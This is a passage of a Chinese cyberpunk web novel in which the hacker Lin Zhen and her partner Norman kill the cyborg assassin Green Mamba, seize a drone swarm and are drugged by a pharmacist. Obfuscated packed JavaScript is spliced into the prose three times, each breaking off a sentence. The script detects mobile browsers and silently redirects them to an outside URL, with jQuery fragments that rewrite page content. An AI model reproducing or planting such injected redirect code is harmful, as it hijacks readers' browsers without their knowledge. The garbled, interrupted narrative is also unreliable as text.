这就伤人了,诺曼。她或许口袋空空,但她坚信自己的个人能力无法估量。林真纠正道:“至少一千五,也许他们看到了我的价值。” 他们一边隔空对话,一边默契地转移到残余的水泥墙后。诺曼背靠着水泥墙,重新扎起头发,斜睨了她一眼:“你是给他们详细讲了讲你的骇客能力,还是放言要把他们一窝端了,还是辱骂了常七爷他祖宗十八代?” “诺曼,我觉得你在侮辱我的智商。”林真翻了个白眼,“反派死于话多我还是知道的。” “就你还反派?没杀过人小姐?” “我今天杀了,两个。” “那你进步迅速啊,可喜可贺。” ”这种事,有什么好恭喜的。”林真靠着墙坐下。 “希望你没有暴露什么不该暴露的东西。在黑街,被低估才是好事。除非你想上常老七的年终结算名单。莫恕整天顶着个荧光大脑招摇过市,已经够傻逼的了,我不希望自己被天天蠢货环绕。” 他说完,指了指外头:“你酒醒了吗?醒了的话出把力,去看看他们的脑子。” 林真闭上眼睛,默念ESCAPE。 黑色丝网展开,向外扩张。她看到一个蓝得发青的脑子,在一堆紫色的脑子里分外出众。 “车里有三个人,和张三差不多,除了有一个脑子和莫恕给我的感觉很像。” 诺曼探出身子,对快到楼下的汽车开了一枪,“莫恕虽然蠢,也快有D级别了。这是常老七手下的扛把子出来了。你真的没有干什么蠢事?” 与此同时,黑色汽车里。 发射榴弹的人缩回座位。他打了一脸的钢钉铜环,这时候眉飞色舞,金属“哗啦”乱响。 “打中了,大人!要不要再给他们一发?” 后座里,一个懒洋洋的声音响起:“不了,这人我要活的。” “真的不补一发吗?说不定能把他们炸得屁滚尿流,自己爬出来求饶。”副驾驶的人笑嘻嘻地回头张望。这一看,他正对上黑暗中三颗猩红色的眼球。它们像是昆虫的复眼,闪烁着冰冷嗜血的光。 他的背脊瞬间一凉,赶紧收回目光,把上下嘴唇的铜环一扣,物理闭嘴。 后座那人轻轻笑了起来,“他可不会投降呢。” 那妖媚森寒的笑声在狭小的车厢里回荡,像是一条蛇,爬过每一个人的耳后。 废弃的停车场顶层,诺曼从废墟里拖出那只铁皮柜。铁皮柜的柜门已经因高温和重压变形。他从靴筒里抽出军用匕首,插入缝隙,几下硬掰将柜门撬开。 另一边,林真找到了装备包,拖过来。 诺曼从包里翻出C-4,熟练地切割成小块,在柜子里的四个角分别贴上。 这人还嫌不够,又拖来几根钢筋和水泥块塞进去。 林真站在一旁,眼睁睁地看着他把铁皮柜变成了一个火药桶。她看得头皮发麻。 “你这是……” “简易高爆反载具装置。临时凑活一下,想活命就别太挑了。”诺曼头也不抬,扶起地上的摩托车,从车座后拉出缆绳,绕过铁皮柜,横竖两下将柜子牢牢捆住。 摩托车拖着铁皮柜,在螺旋车道的最上方停下。诺曼切断缆绳,把铁皮柜推到车道口。 他右脚踩在铁皮顶上,扭头问林真。 “能看到他们吗?” 林真点点头。 诺曼一扬手,将引爆器抛给她:“十米内就可以按,瞄准那辆汽车。” 林真看向黑黢黢的车道深处。引擎的轰鸣声从下方传来。 ESCAPE ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910846|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她默念。紧着着,她的世界分为两半。 她的右眼里,是沿车道狂冲而来的脑子们。她的左眼里,是骇客眼镜上显示的炸药位置。 脑子们和炸药越来越近。 她专注地盯着车道深处,嘴唇轻轻抿了一下,喉头微微滚动。 她是那么的专注,似乎不知道手里正握着几条人命。 诺曼盯着她,在面罩下勾起一个笑容。 就是这样,就是这样啊,从上层区来的骇客小姐,好人在五区是活不下去的。破碎吧,扭曲吧,成为黑街罪恶的一部分。 他忽然有点后悔把那副骇客眼镜给了林真。 他想看见她的眼睛。 想看她按下引爆器那一刻,到底是闭上了,还是睁得更大。 他想知道,那双眼睛里到底会闪过什么光,是恐惧,兴奋,解脱,还是快感。 他不确定自己希望看到哪一种。 他只是突然很想看见。 林真的眼睛里,代表脑子的蓝紫色光点们和代表炸药的红色光点相遇了。 她果断按下引爆器。 铁皮柜四角的C-4同时起爆,金属碎片向西面八方射出。火焰沿着螺旋车道的中心直窜上来,如同来自地狱的巨蟒。 整个荒原都看见了这里的爆炸。潜伏在暗处的荒野猎人们心头一凛,有的无声遁走,有的蠢蠢欲动。 “结束了吗?”在一片死寂里,林真轻声问。 车道已经在爆炸中被拦腰截断,断口处弥漫着黑色浓烟。 诺曼拔出手枪,向前两步,死死盯着烟雾。 下一秒,一根末端带着弯刀的锁链破开烟雾,向他们飙射而来。那弯刀的造型狭长,像一根毒牙,在空气中划出一道寒光。 林真和诺曼同时一抬枪口,连发的子弹将弯刀打偏。 可第二把锁链弯刀紧接着袭来,如同毒蛇暴起,贴着地面斜切而上! 诺曼左手抽出匕首,“当”的一声,锋刃正面迎上弯刀。他的手腕一压一甩。弯刀就被钉进地里,兀自震颤不已。 “果然,”诺曼一边缓缓后退,一边开口:“你不值这个价,这是冲我来的。” “行,你最贵。所以对方是谁?” 浓雾里,突然响起妖媚的笑声。 这笑声让林真莫名感到熟悉。 有人从另一头收起锁链。弯刀刮着地面,被慢慢收回烟雾里。 紧接着,一个高挑的身影缓步走出烟雾。锁链缓缓上升,消失在来人的双手小臂处。那人双手五指张开,握住那一对獠牙状的细长弯刀。 月光洒落,她的面容一点点显现。寸头染成冰白,皮肤苍白到近乎冷青色,涂着极微夸张的孔雀绿眼妆。右眼眶里,三颗猩红色机械眼球一齐盯住了诺曼。 “N,用我教的把戏对付我,感觉好不好?” 回答她的是一声清脆的枪响。 女人右手的弯刀一横,子弹被切成两半,落在地上。 林真正要动作,就听到诺曼的声音在脑内响起: “退后,上车,不要对她使用能力。” “为什么?” “因为我杀不了她。” 林真退到摩托车旁,抓住把手,“诺曼,她到底是谁?” “绿曼巴。”诺曼开口,叫出了对方的名字。 对面,那个女人听到了,笑起来。 “你还记得我啊?我唯一的……学生。” 19. 绿曼巴(二) 林真的手指刚握上摩托车的把手,一道寒光就破空袭来。 她迅速松开手,连退两步,举起手枪。 可那弯刀像开了氮气加速似的,她才听见动静,刀光就已经到了眼前。刀光一闪,直接削去了她半个枪管,余势不减,直逼她胸口而来。 林真避退不及。 就在这时,一只手抓住了锁链! 诺曼出现在她身前。 他的手背青筋暴起,五指死死扣住锁链,拦住了这致命的一击。 “滚啊,别碍事!”他回头吼道。 话音未落,锁链带着巨大的惯性回弹,死死缠住了他的前臂。 绿曼巴哼笑一声,右手小臂里的电机猛然转动。锁链陡然绷紧,将诺曼硬生生拖倒在地。 “N,这就是你新找的小伙伴?不怎么样嘛。”绿曼巴的右眼里,三颗机械眼珠各自独立旋转,从各个角度扫描着林真。她的视线在骇客眼镜上停了一秒,然后勾起嘴角。 “什么时候,大脑骇客也敢出来丢人现眼了?” 她舔了舔嘴唇,似乎看到那细白脖颈下跳动着的动脉裂开,鲜血带着热气喷涌而出,如同五月广场盛大的烟火。 五月广场的烟花就像高潮一样。 一瞬间爆炸,然后一瞬间毁灭。 绿曼巴的左手随意一甩,链刃飞出,直指林真的脖子。 如果林真经过训练,她应该有很多种应对方式。她可以抽出腰侧的匕首,像诺曼那样以刀迎刀。她可以向侧方快速扑倒,避开弯刀的路线。 如果她力能扛鼎,她甚至可以举起手边的摩托车,一力破十会。 但她只是一个普通人。她的脑子里一瞬间转过了无数想法,可她的身体一个都跟不上。她没有力量,没有速度,也没有技巧。 视野里,红色的警告标识层层叠叠。骇客眼镜简直想帮她拿主意了。 那她还有什么?她逼问自己。 恐惧过后,愤怒的火焰汹涌而起。 她还有那个黑色的世界。如果无法防守,那就进攻。 “诺曼!”她在脑子里喊。 “蠢货,你想和我一样被追杀吗?”诺曼的声音从连接中传来。 “那我们就一起杀了她。” “我不可能——” “还有我!” 诺曼猛然回头。骇客眼镜挡住了林真的眼睛,但他仿佛看到了一团火焰,声势浩然。 林真的声音在他脑子里炸开:“你不想摘掉面罩吗,诺曼?” 诺曼猛地反手一拽锁链,借力从地上跃起,直冲向绿曼巴! 几乎同时,林真默念“ESCAPE”。黑色的丝网以她为中心快速膨胀,后发先至,追上诺曼的脚步,先一步缠上了绿曼巴青蓝色的大脑。 绿曼巴的大脑里充满着妖异疯狂的笑声,无数的红色对话框如烟花般炸开。 黑色丝线刚一接触,便有数根被狂笑击碎。每断一根,林真的大脑里就传来一阵刺痛。她差点站不稳,但仍抬起手,狠狠一握: “闭嘴。” 大脑里的笑声戛然而止。 绿曼巴的身体一僵,右眼中那三颗机械眼球“咔”地卡住,然后彻底停转。 怎么回事?对方的骇客明明没有进行物理连接,但是她控制不了自己的身体了。她的脑子里浮现出和诺曼当初一模一样的疑问: 这是什么东西? 此时,诺曼恰好来到绿曼巴跟前。他高高跃起,一脚踩在绿曼巴的胸口,身体在半空中一拧,手中的锁链精准地绕过绿曼巴的颈部,然后借着惯性重重落地,一个翻滚泄力,双手握住锁链用力一拉,死死扣在一旁的钢筋束上。 绿曼巴被向后拉倒,仰面摔倒在地上。 诺曼大步走过去,枪口对准那只机械右眼。 这张脸太熟悉了,他一时有些晃神。 ——小子,黑街欢迎你…… ——开不了枪?那是你的心有问题,挖出来就好了…… ——做得不错,以后N就是你的代号了…… ——N,关于你的脑子,你是不是瞒着我什么?…… 另一头,弯刀几乎飞到了林真跟前,劲风扑上她的脸颊。可随着绿曼巴的倒地,锁链骤然绷直,弯刀像是被套住的鸟,颓然落在林真脚下。 林真呼出一口气,这才感到头晕眼花。她按住太阳穴,咬牙道:“诺曼,你在干什么?我快控制不住她了。” 话音未落,本就破破烂烂的黑色世界瞬间分崩离析。 诺曼立刻扣下扳机。 可是来不及了。 绿曼巴的机械眼一转,整个人像蛇一样在地上一扭,避开了子弹,同时嘴巴一张,一颗淬毒的钉子破空射出。 诺曼反应极快,整个人后仰闪开。钉子从他面罩前擦过,直直嵌进了水泥天花板。 绿曼巴趁机解开锁链,一跃而起。 随着她的动作,林真面前的锁链开始往回收。她一咬牙,一脚踩住弯刀,跪在地上,抓住锁链。 锁链上传来巨大的拉力,将她在地面上硬生生拖行。 “放手!她的刀有毒!”诺曼大喊。 可林真没有放手。这不是个明智的决定,但却是控制绿曼巴的最后机会。 现在,绿曼巴右手的刀被卡在钢筋上,左手的刀被她踩着,一时间双手被束缚,成了个固定靶。 “机会给你,别又不中用啊。”林真在脑子里对诺曼说。 诺曼立刻抬枪,一枪打在绿曼巴的腹部。 “当”一声脆响,子弹被弹开了。那黑色的高领皮衣下,不是陶瓷防弹片就是合金义体。 绿曼巴大笑起来。 诺曼眼神一寒。他不信两年不到,绿曼巴能把自己整成个彻底的金属人。他快速连开三枪。 第一发直指那只机械右眼。绿曼巴一个侧头,子弹贴着太阳穴擦过,犁出一条焦黑的痕迹。 第二发紧随其后,撕裂皮衣,翻卷血肉,嵌进右手银白的合金关节,硬生生切断了绿曼巴对右手锁链弯刀的控制。 趁她分神,最后一枚子弹钻入了她的左侧胯关节。 绿曼巴身形一歪。可她很快站稳身体,大吼一声,左手用力一拽。 林真被从锁链弯刀上直接掀翻。她没有诺曼那样的落地技巧,滚了一圈才撑着地面站起身。她一抬头,就见绿曼巴已经收回弯刀,左手一抬,毫不迟疑地斩断了被子弹卡住的右手小臂。 合金残肢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922685|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坠落在地,发出沉闷的声响。 鲜血和乳白色的液体从断肢处滴落下来。 绿曼巴慢慢扭头,看向林真,露出一个染血的笑容:“大脑骇客,你很有趣嘛。说说,你对我做了什么?你怎么能控制我?” 她的眼神贪婪,机械眼睛闪烁着红光。 林真下意识后退一步,就听到她扬声道:“N,我的学生,我们做个交易吧。把她给我,我发誓放弃你的脑子。” 诺曼冷笑一声:“省省吧,V。整个黑街都知道你是条贪婪的毒蛇。你发的誓比你杀的人还多。” 他走到林真的身旁,把手上的枪递给林真,自己反握匕首,横在胸前。 他的手臂挨着林真的肩膀。 “做得好。”他低声说。 “你还是那么顽固。”绿曼巴的三颗机械眼珠一齐转向林真,绿色眼影妖异非常:“那你呢,小丫头?不如换个队伍,和我联手拿下N,我在黑街给你一个位子。” 林真露出一个微笑:“墓地的位子吗?对了,你死后,会有一块墓地吗?会有人给你扫墓吗?不会没有吧?” 绿曼巴的面容瞬间扭曲:“牙尖嘴利。你根本不知道,我给了你什么样的邀请!” “我只知道你是敌非友。” “敌人?朋友?呵,太天真了,你知道N的底细吗?你知道他那层皮下面,甚至不是人类的脑子吗?” 这就有点骇人听闻了。林真一愣,下意识看向诺曼。 “你知道N干掉了多少队友吗?他甚至杀掉了自己的亲弟弟——”绿曼巴继续说着。 “V,闭嘴!”诺曼厉声道。 “难道不是吗,N?不然你告诉我,他这两年去哪里了呢?小丫头,你可要看清楚啊,说不定下一个就是你了。” 骇客眼镜下,林真的目光一凝。她似乎被说服了,缓缓举起枪,对着诺曼的方向。 诺曼回头,眼瞳深黑:“你信她?” 绿曼巴则大笑出声:“这就对了!小丫头,我喜欢你!你叫什么?” 林真沉默着扣下扳机。 砰! 子弹擦着诺曼飞过,在停车场角落的阴影里,凌空炸开一捧火光。 一架无人机“哐当”一声栽在地上,冒出一股黑烟。 “我叫你姑奶奶奥。”林真调转枪口,对准绿曼巴,“另外,诺曼,说了我对你的脑子没有兴趣。我自己的脑子已经够麻烦的了。” “你最好说到做到。” 林真偏头笑了笑:“你最好对你的队友客气一点。” 与此同时,停车场的各个角落里,数点红光亮起。荒野猎人的无人机本来趁着战斗偷偷摸了上来,在角落里等着坐收渔利。现在,他们被林真逼了出来。数十个黑色的影子投在地面上,将对峙的三人包围。 “狗日的一帮秃鹫。”诺曼低声骂道,“能不能干掉楼下那个指挥的?” 林真默念escape。可黑色的世界没拉开半米就崩溃了。 她呼出一口气:“不成,现在做不到。” 这时,绿曼巴却笑起来。她朝围拢而来的无人机群张开双臂:“我是绿曼巴。帮我控制住这两个人,只要大脑完整,常七爷给你们开香槟分赏金。” 20. 绿曼巴(三) 无人机里传出荒野猎人粗粝的声音:“一个脑子一万信用点。” 绿曼巴不紧不慢地抬起左手,比出一个同意的手势。 粗粝的声音再次响起:“不,我后悔了,三万!三万!” “两万,一口价。”绿曼巴冷笑起来,弯刀一甩,干脆利落地切下两台无人机的旋翼。 火星四溅,残骸落地。 荒野猎人立刻松口:“成交!常七爷大气!” 下一秒,所有无人机的激光瞄准器齐齐亮起,锁定了诺曼和林真。 林真扯了扯嘴角,自嘲道:“我还涨价了呢。” “你知道她不可能给你钱的吗?”诺曼高声道,一边拉着林真后退,“绿曼巴从不付钱!” 无人机不为所动,逐步包围了他们,开始射击。 “草!傻逼荒野猎人!”诺曼拉着林真躲到水泥柱子后。 “我们现在怎么办?” “我需要一架无人机。”诺曼喘了一口气。 “你要做什么?”林真一边换弹夹,一边低声问。 “这群秃鹫用的是老式串联模型。只要拿下一只,整群都是我的。掩护我!” 他说完就从柱子后扑了出去。 林真来不及多想,咬牙跟上。骇客眼镜帮她自动圈出目标。她的目光所及,枪口已至。追得最近的三架无人机中,后面两架直接爆成碎片。 同时,诺曼扔出匕首,精准地破坏了剩下那台无人机的机翼。无人机冒着烟斜斜坠落。他飞扑上去,单手抄住机体,往怀里一带。 他的手还未收回,忽然就是一颤,手臂上爆开一小团血雾。 他中枪了。 林真猛地转身,抬手就是一发点射,干净利落地轰下从背后偷袭的无人机。残骸贴着她的头发坠落,砸在地面上,四分五裂。 “谢了。”诺曼抱着还在滋滋冒火的无人机退回柱子后。他贴着柱子坐下,用膝盖夹住无人机,单手从脑后拉出连接线,插入机体底部的数据接口。 “你的手臂在流血。” 林真站在他身前,平均两发带走一台敢于靠近的无人机,一边提醒道。 “没事。快结束了。”诺曼的眼里闪过一抹幽蓝的光芒。 下一秒,他腿上的那台无人机停止了挣扎,红灯一闪,转成幽蓝的色泽。 紧随其后,整个停车场里,所有无人机的红灯如潮水般转蓝,激光瞄准器一齐调转,枪口齐刷刷对准了绿曼巴。 绿曼巴的机械眼珠“咔”地一顿,笑容凝固在脸上。 诺曼背靠水泥柱,缓缓站起身。他的声音从所有无人机的扩音器中传出,层层叠叠,在停车场上空炸响: “本来还不知道怎么杀你,V。你知道我是什么,还敢把它们放到我面前。是你蠢,还是给你消息的人,根本就没有说实话呢?” 随着他的话,所有无人机同时开火。 数十道火光瞬间撕裂空气,交织成一张大网,向着绿曼巴笼罩而下。 绿曼巴的弯刀飞速旋转,挽出密集的刀花。刀光如伞,护住她的上半身。 但暴雨之下,总有雨滴溅入伞内。 负伤的左腿拖慢了绿曼巴的动作,缺失的右手小臂影响了她的平衡。纵然大部分的子弹只是撕开皮衣,就被改造过的合金身体弹开,但也有部分子弹钻入皮肉。 她踉跄一步,受伤的左腿再也支撑不住,扑通跪倒。 “N!”她尖叫道,机械眼珠疯狂转动,“你欠我的命!没有我,你活不到今天!” 弹雨停下了,诺曼从柱子后走出来。 他一只手拎着无人机,另一只受伤的手垂着,任由鲜血从指尖滴落。 “是的,老师。没有你,我在黑街一开始就活不下来。” 绿曼巴眼睛一亮:“那就把命还给我!” 话音未落,弯刀破空而至。 “诺曼你疯了吗!” 林真怒骂一声,一把将诺曼拽到一旁。 “以命换命也得挑对时候!”她低吼。 “铛!” 弯刀带着劲风钉入水泥柱,刀身震颤不休。 “就她还换不了我的命。”诺曼轻声道。 随着他的话,无人机群再次开火。绿曼巴猩红的机械右眼轰然爆开。她浑身一颤,头颅就垂下了。 月光之下,她的银发被染成了红色。红色凝固,变成一团熄灭的火。 所有无人机安静了下来。 荒野陷入死寂。 停车场边缘,一架新的无人机鬼鬼祟祟地升起。看见停车场里的景象,它的机翼一震,一左一右瞬间弹起两面白旗。 左边是:路过路过。 右边是:大爷饶命。 林真:…… 诺曼瞥了一眼,挑起眉头:“傻逼。” 他抬头问道:“绿曼巴的尸体和脑子,你们要不要?” 那架无人机左右晃了一下,好像在犹豫。 林真盯着它,缓缓举起枪:“或者,你也可以选择加入她。” 无人机“嗡”了一声,连忙喊道:“不不不!” 诺曼歪头,似笑非笑地看着那台无人机:“不要?” “呃,要的要的,您开个价?” “两万,留下一台摩托,然后滚。” 片刻后,无人机抓着一只终端和一把摩托钥匙飞过来。 诺曼抓着绿曼巴的脖子:“帮把手。” 林真抬起绿曼巴的双腿,和诺曼一起把她挪到停车场边缘:“诺曼……我觉得我们在毁尸灭迹。” “怎么,不忍心?” “不。”林真俯下身,抓住绿曼巴的腿,把她推上围栏,“她是你的老师。” 诺曼冲无人机招了招手。 无人机小心翼翼地靠近,扔下终端和钥匙,然后放出钩爪,精准地勾住绿曼巴的腰带。 “您看,我其他的无人机……”那个粗粝的声音试探道。 “什么你的无人机?那是我的无人机。”诺曼的语气淡漠。 对方哑口无言,带着尸体消失在黑暗中。 诺曼离开栏杆,拉出头发里的接线,接入新到手的终端,扫了一眼。 “他们会在终端里使诈吗?比如塞个定时炸弹什么的。”林真站在半米开外。 诺曼拍了拍旁边的地面:“坐吧。我看过了,没问题。” 他正要收起接线。 林真突然单膝跪下,抓住那一根细线。 “你干什么?”诺曼一惊,身体下意识绷紧,左手摸向腰侧的匕首。 “别动。”林真左手按住诺曼的肩膀,右手顺势而上,摸入诺曼的头发里。诺曼的头发出奇的软。 她拨开发丝,摸到了连接线的末端。紧接着,她的指尖碰到了一片圆形的金属。 林真一愣:“所以她说的是真的?” 诺曼的眼神沉了下去:“是又怎么样?” “好好说话,诺曼,你能一口气接手那么多无人机,是因为这个?” “系统接管罢了。” “那不需要夜视镜呢?” “视觉分析增强。” 林真的指尖轻轻按在那片合金上,“里面也是金属吗?” 诺曼没有说话,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928543|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指一动,腰侧的匕首悄然出鞘。 “算了,个人隐私,不问了。所以你也是个骇客咯?”林真松开手,挨着诺曼坐下。 诺曼转头看向她:“我不是大脑骇客。听着,我不是你的同类——” “随你。你今天救了我好几次,但我也救了你几次。” 诺曼皱起眉头:“这不代表我们是同伴,我随时可以杀掉你——” “我在和你谈生意,你和我谈感情?”林真睁大了眼睛,伸出右手:“信用点对半。” 诺曼狠狠剜了她一眼,随手把终端扔过去:“无聊。” “你不要,那我都划走啦。”林真一边操作,一边感叹,“真是杀人放火金腰带,我可以给收养院买一车的草莓味营养剂了。” 诺曼自顾自用匕首割开右手的衣袖,露出正在往外渗血的伤口。他用手指按了几下,确认没有弹片残留也没骨折,随手在衣服上擦去血迹,又从内侧口袋里拿出两管治疗针。 “哎,林雪。”他喊了一声,把其中一管针剂递给林真,“要是不想破伤风或者伤口感染的话。” 他们肩并肩靠在残破的水泥墙上。 天花板上被炸出的洞口里,月亮已经不见了,天色开始泛白。 清晨的风像是流水,穿过荒原,洗去了血腥与火药味。 林真闭上眼,靠着墙,过了一会儿才开口。 “哎,诺曼。” “嗯?” “以后叫我林真。” 诺曼闭着眼睛,轻轻应了一声。他已经知道了,但他的嘴角仍旧勾了起来,“真名?” “如假包换。你不问问林雪是谁?” “不感兴趣。” “林雪是这句身体的姐姐,我不知道她的芯片为什么会在这具身体里。我想到她的时候会心痛,你懂吗?就是莫名其妙地很悲伤。”林真抬起手,看着手腕上张三的终端,“如果我一直往下查,说不定会找到真相。” “一万。”诺曼伸出手。 林真狠狠瞪了他一眼,把终端拍在他手上:“你个奸商。” “和莫恕学的。”诺曼拉出连接线,接入张三的终端。 不需要密码、指纹、声纹,终端瞬间解锁,数据流在界面上快速滑动,最终停留在一条通话记录上。 诺曼点开那条通话记录。 一个明显用了变音器的声音响起: “她是B级的脑子。你不要,她下个月就和‘希望之星’走了。我可以不要信用点,但我有一个要求。” “什么要求?”通讯里,张三问道。 “不要让常七爷知道。” “一万信用点,我让你神不知鬼不觉。” “……好。” 音频到此中断,界面回归静默。 “失敬,”诺曼看了林真一眼:“你还是个B级的脑子。” 林真扯了扯嘴角:“巧了,我也刚知道。张三的通话对象是谁?” 诺曼在终端上点了两下,一个联络号码出现。他的手一顿:“林真,张三已经死了。” “我知道,但绿曼巴死了,你不也还没有摘下面罩吗?你是查不到吗?” 诺曼点开自己的终端,投影出一副极为详细的五区地图,输入那个联络号码。 红色的区域逐渐缩小,最后落在居民区边缘的一栋建筑里。 那是一座废弃的电子零件组装厂,有着滑轮铁门和修修补补的钢架顶棚。 铁门上挂着一串七拼八凑的风铃。 林真突然就笑了。 风停了,天亮了,原来水泥地上的血腥味还没有散去。 21. 玛莎(一) 车道已经被炸断了,钢筋像倒钩般向外刺出。 诺曼用绿曼巴的右臂和锁链做了个简易的滑降装置,带着林真爬了下来,然后用力一甩一拉,收起锁链弯刀。 荒野猎人说话算话,给他们留下了一辆摩托车。虽然这可能是他们车队里最差的一辆,坐垫的皮革破破烂烂,排气管几乎垂到地面上,带着大片的锈迹。 “你确定他们不会留个炸弹?”林真揉着酸痛的肩膀问。 “不确定。”诺曼用匕首挑开座垫缝隙,打开后部储物箱,又来回摸了一遍了轮胎和车底,然后才点头,“应该没有什么暗手。” 他指挥着无人机一台接着一台落进储物箱里,一回头,就看见林真已经骑上摩托,正在戴头盔。 “你确定你要开车,现在?”诺曼走到她身旁,帮她扶住车把。 “我很冷静,也不一定是玛莎。” “那可不一定。”诺曼脱下手套,丢给林真。他跨上摩托后座,双手拉住坐垫边缘,“毕竟这里是五区,我的脑子就是被我爸妈卖掉的。” 反正林真已经知道了,他也不再隐瞒,语气随意。 林真沉默着戴上手套,扣上手腕处的搭扣,用力拉紧。手套有些大,带着诺曼的体温。 她握住把手:“那个时候你几岁?” “十岁?我不记得了。你开稳当点。” 林真的回应是右手狠狠一拧。 摩托车发出一声断气似的轰鸣,猛然向前窜出。后头,枪械和无人机“咚”的一声撞在储物箱里。 诺曼赶紧抱住林真的腰。 冷静个屁!他在心里骂道。 林真低头看了一眼。诺曼的左臂环在她的腰上,手掌不敢碰到她,只好握成拳头。 她嗤笑一声,再次提升车速。 荒野的风呼啸而来,撞在她的胸口。 废弃的高速公路旁,一块写着限速75公里的指示牌在他们疾驰而过时轰然倒塌。 玫瑰金的天光将他们剪成两个影子。 “你打算去哪里?”诺曼在风沙里喊道。 林真掀开一点面罩,喊回去:“找药师看个东西。” 她要去问那个药盒的来处,诺曼了然。越不相信,最后往往越痛苦,因为真相就是如此。他对此太有经验了。 摩托车在药师的门廊前停下。 诺曼点了点面罩,瞬间变成了莫恕的样子。 林真一愣:“药师不可信?” “药师算是黑街的第三方,我只是习惯了。”诺曼接过林真的头盔,挡住自己的头发。毕竟莫恕是个光头。 黑子小姐闻声出来,见到林真,摇着尾巴就要过来蹭她的腿。 “黑子小姐。”林真蹲下身,伸手去摸它的头。 可也许是林真身上的血腥味太浓,黑子小姐“呜”了一身,避开了她的手。 深蓝色的门帘掀开,药师白瓷一样的脸出现在门口。 “早上好,药师,打扰了。”林真走上前去,“我有一件事想问您。” 药师看着她破破烂烂、满是刀口的衣服,皱起眉头,伸手捏起她的衣袖,凑近看了看。 阳光顺着破口透过来。 “一,二,三,四道口子。”药师“唔”了一声:“怎么和人打架去了?把脸打坏了,不好看了怎么办?进来吧,我正要泡茶。” “我就问一个问题,问完就走,不打扰您。”林真拿出空药盒,翻转过来,露出底下的樱花图案,“请问您认识这个药盒吗?” 药师接过药盒,凑到眼前,端详了一下底下的黄色粉末,又打开盖子,放在鼻尖闻了闻:“是我家的呀,你要问什么呀?” “我想问您是否知道这是什么,最近有谁向您买过?” “知道。但是不行哦。”药师宽大的衣袖一拂,药盒瞬间消失在她的袖子里,“除非你进来陪我喝茶。” 她露出小孩耍赖的表情。 林真回头看了一眼诺曼。 诺曼正戴着莫恕的脸,闻言行了一个夸张的绅士礼:“不知我是否有幸,被可爱的小姐们邀请?” 意识链接里,林真听见他嫌恶地“呕”了一声,一边骂“傻逼莫恕”。 她忍住笑,把头偏过去。 药师撅起嘴,拉住林真的手:“唔,他不行。臭男人。黑子小姐,帮我看着他。” 诺曼耸肩,退后半步:“那真是太遗憾了。” 林真低下头,嘴角抽动着,跟着药师走进客厅。 客厅还是上次的样子,苔玉球在半空中缓缓旋转。 林真闻了闻自己衣袖,被浓重的血腥气熏得一噎,讪讪地脱下外衣,叠成一小团放在一旁。 药师拿着锡做的茶叶罐从里间出来,煮水,泡茶,然后将一杯茶放到林真面前,一杯放在自己面前。 茶色青黄。 “新弄到的绿茶,你尝尝。” 林真拿起茶杯,抿了一口。 药师依旧是用袖子遮住下半张脸,仰头一饮而尽。她也不催林真,自顾自开口: “你问的这个药呢,应该是浅黄色的小圆球,效果是让人放松、镇定,一般和止痛药一起出售。” 林真垂下眸子,又抿了一口茶。 “如果吃一整盒呢?” 她其实知道答案,可她还是问了。 “唔,吃多了,心跳会变慢,喘不上气。”药师猫一样的圆瞳打量着她:“这也是很多人给自己选择的结局。我想,你没有吃一整盒吧?” 林真摇摇头,掩饰性地又喝了一口茶:“今天的茶很好喝。” 药师笑着给她加满,接着说:“很多人会问我买这个,大多数是黑街的,居民区的也有。但我只给女孩子有樱花的小药盒。上个月的话,是一个有着丹凤眼的女孩子呢。” 林真眨了下眼睛。 没有人开窗,但是茶室明亮得不真实,一切都像是被蒙上了一层金粉。她的伤口不知什么时候不疼了,连茶水也泛着迷离的金色光泽,像是一口被封存的不老泉。 半空中,苔玉球转动得更快了。 药师的语气轻柔,“茶好喝的话,就再多喝一点吧。” 林真点点头,端起茶杯。 屋外突然传来黑子小姐的叫声和摩托车倒翻的声音。 下一秒,黑子小姐狂奔入房间,把嘴里的东西放在茶桌上。 ——那是绿曼巴的右手小臂。 林真手里的茶盏豁然打翻,她扶着桌子站起身,用力摇了摇头:“茶水里有什么?” 身后,赶来的诺曼扶住她的肩膀。 “嘿,诺曼!”林真转头,微笑着冲他打招呼。 “吐出来。”诺曼咬牙,“见鬼的你刚吃了什么?” 林真指了指桌上的茶盏:“喝了点加料的茶。没事,我很清醒,手臂也不痛了呢。” 矮桌前,药师抚摸着那截血迹斑斑的小臂,从断口到指尖,丝毫不在意血污染上她修长白皙的手指。半晌,她终于抬起头: “我只是捏碎了一颗小球,看起来你之前吃得很多啊。你们身上的伤口,果然是维斯佩拉留下的呢。她死了吗?” 林真和诺曼对视一眼。 “你知道药师和绿曼巴有关系吗?” “不,不然我不会让你来这里。” 